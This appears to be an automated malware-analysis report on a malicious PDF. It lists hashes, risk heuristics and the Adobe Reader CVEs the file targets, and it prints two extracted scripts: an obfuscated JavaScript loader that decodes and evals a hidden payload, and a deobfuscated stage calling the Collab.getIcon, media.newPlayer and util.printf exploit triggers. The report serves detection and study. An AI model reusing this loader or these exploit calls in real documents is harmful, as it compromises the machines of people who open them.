Malicious PDF — malware analysis report

Static analysis result for SHA-256 be0b71fd3e4e2c9d…

MALICIOUS

PDF

7.4 KB Created: 2010-10-12 13:57:36 Authoring application: Uefecinetoo (via b8c26Licabenoka) First seen: 2026-05-09
MD5: a4dea23f4a07f969d7113928a4428a5d SHA-1: 32ea973350add50b2183185b126abaaf99f1070f SHA-256: be0b71fd3e4e2c9d54e85fff5d8153d57aecb9b1b5cb5ef97f0f3a9aafbc4990
288 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream, though truncated, suggests an attempt to execute arbitrary code, likely for downloading and running a secondary payload. The presence of JavaScript actions and embedded JS streams points towards a malicious PDF delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0x1338 2426 bytes
SHA-256: 6dc78a9f1257dd5bd3dab587bf1ba2f61918aea574b071b87a496ec0f4610d0b
Preview script
First 1,000 lines of the extracted script
var eZWZ = null;

try {

var vI=new String("Fu"+"nc"+"ti"+"on");
function gNOF(n,jWL){return n+jWL};

var nCD=this;
var lKBU=String("char"+"At");
var qZOP=/[_#k97\>\$~q&%@]/g;
function z(pMJ){this.pSV=this.d=pMJ};
var tSL='';
var zAH=0;
var pSX=300;
var lWZ="rep"+"lac"+"e";
var rYN="vakr@ &iqD_W%Lk=7t7h>i@sk._d7;#f%=&\'#g9e$t#P@a>g_e>N@\'9;kd@Q%L&=9f7+~\'_t~h~W_okr@d7\'$;$r7O7Z%=>f&+>\'7u_m$Wko#r~d9sq\'$;>b&U_B7=>\'#p@aqgqe&N&u7m>\'~;%v7O&D9 q=& q891q k;7t>S>L9=k\'9\'&;_l>W~J#=$\'#j>o7i9n~\'@;%j$W9N9=q\'~\'9;%z#A~H$=_0$;qd~O$Z>=%S9t9r$i&n>g$;~dkGqX9=@\'~s#ukb7s9t~rq\'~;#r9QqN_=@\'~eqv#a%l~\'$;~p_C~N_=7\'>l$eknkg_t#h%\'&;%d#G$H7=%\'_\\>\\qxk\'%;@r~A#F@=&\'~t%o~S>t9rki%n&g>\'k;@x&G&P7=&\'#p%akrqs_e_I@n$t~\'#;>f9I$N%=q\'&f@r&o7m7Ckh9a7r%C#o7dke@\'~;kl7U~X_=q\'~c@h$a_r@C7okd>e$A~t%\'@;%p&M#T#=#4q/_4&;>r$E$B&=k1k+&4$;9v#A9D$=$290#0k+75q5@;$n_C$D@=k\'#d@okc@\'k;9f_O#J_=>3>3q2&;~b~O&J#=@[&]&;_n>U#Nq=9\'#\'$;kt~K9P_=q196#;khqY9Hq=$2$;#s9R$Y9Lq=>47;>zqS%X&=7i7D#W%Lk[#r~O>Z~]~(qi@D&W~Lq[~b9U@B~]~)_;&f&o>r%(_d$I7R$=qz#A_H#;@d@I&R&<9 qz7S#X9;q qd9I>R&+>+$)k{$v%a$r@ @r$C&X7=9i~DqW_L@[qd%Q>L$]9(%i&DqWkLk[qb_U&B~]$,~d@IqR$,kt_r#u9e%)q;9j@WkN%=7[qj$W@N>,@r9C$X%]#[9l~W@J9]>(#t&S#L9)k;>;9}&f$okr~(9d>I$R$=#0>;_d7I#R@ @<& >j&W@N7[#p7CqN&]~;9 9d&I~Rq+&=qh&Y_H@)~{kv_=#j$W#N&[qd9G9Xq]&(7dkIkRk,@h_YqHk)#;#zkY$N&=#p_akrqs#e#I>n7t_(%v#,7t#KkPq)~;%z&A%Z_=~z%YqN7^7v7O9D>;kn~O&Lq=qz>A7Z#._t$o&S>t&r>i9n~g>($t$K@P@)_;>n9O>Lq=k(~n%O%Lk[#p%C#N7]7=%=$pqM>T$)9 q?_ &\'~0k\'# >+q @n9O>L$ &:$ ~n>O_L@;kbkOkJ$.7pqu%s#h9(#n_O#L@)q;7}7t_r_y% &{9n_U_N~=knqe9w9 @S&t7rki&n&gq(_dqG#H~ &+7 >b@OkJk[>l&W$J9]@(&dqG9Hq)$)_;ka>pkp~[~r7Q@N#]@(~\'%n_UqN&=7\"%\'&+%n~UkN%+q\'9\"$;%\'>)&;>i#D9W&L%._xqW7Pk=7(_nqU>N#[~dkG%X~]_(#n%U_N7[~pqC~N$]q-&f#O#J&)$)%;>i#D_W&L9.#p#Y_N@=$(@n_U%N$[#d>G9X%]$(>z~AqH~,>nkU9Nk[%p$C7Nk]$-7f9OkJq)q)#;$l#C_H~(_)9;%}7 &c~a&t&c%h7($l&K$B&)#{~i%f$(9iqD7W9L%.#pkYqN~)q{7t&r%y# ${%a9p~p%[9r&Q$N@]7(7i%D%W>L$.$p$Y>N%)%;#}q qc@a7t>c$h7(@l_KkBq)>{qa7p~p_._a_l7e>rqtq(_l_K$B$)_;7}_}# _e#lks7e_ &{$a@p>pk.$a>l%e$r9t9(>\'>N7O# kC%O@D>E7\'#)_;%}%}_";
var pMT=1;
var pCN=String("leng"+"th");

;


function jUB(lSV){rIB=tSL; for(dIR=lSV[pCN];dIR >= zAH;dIR--) rIB=gNOF(rIB, lSV[lKBU](dIR)); return rIB}


rYN=rYN[lWZ](qZOP, tSL);

rQN=jUB(new String("lave"));
;


z.prototype={

dCJI : function(eFSV){

if(eFSV > pSX){

this.d[rQN](rYN);

} else {

eZWZ.dCJI(eFSV+pMT);

}
}
};

var eZWZ=new z(nCD);
eZWZ.dCJI(zAH);

} catch(nUN){

}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 153 bytes
SHA-256: 18699f9d55ae1f1fd22bc427d0f09ac790fd8fafb1557dc66370fe40318c5f52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords-XOR Pidief stage normalized */
app.viewerVersion;
Collab.getIcon("N."+unescape("%09"));
media.newPlayer(null);
util.printf("%45000f", 1);

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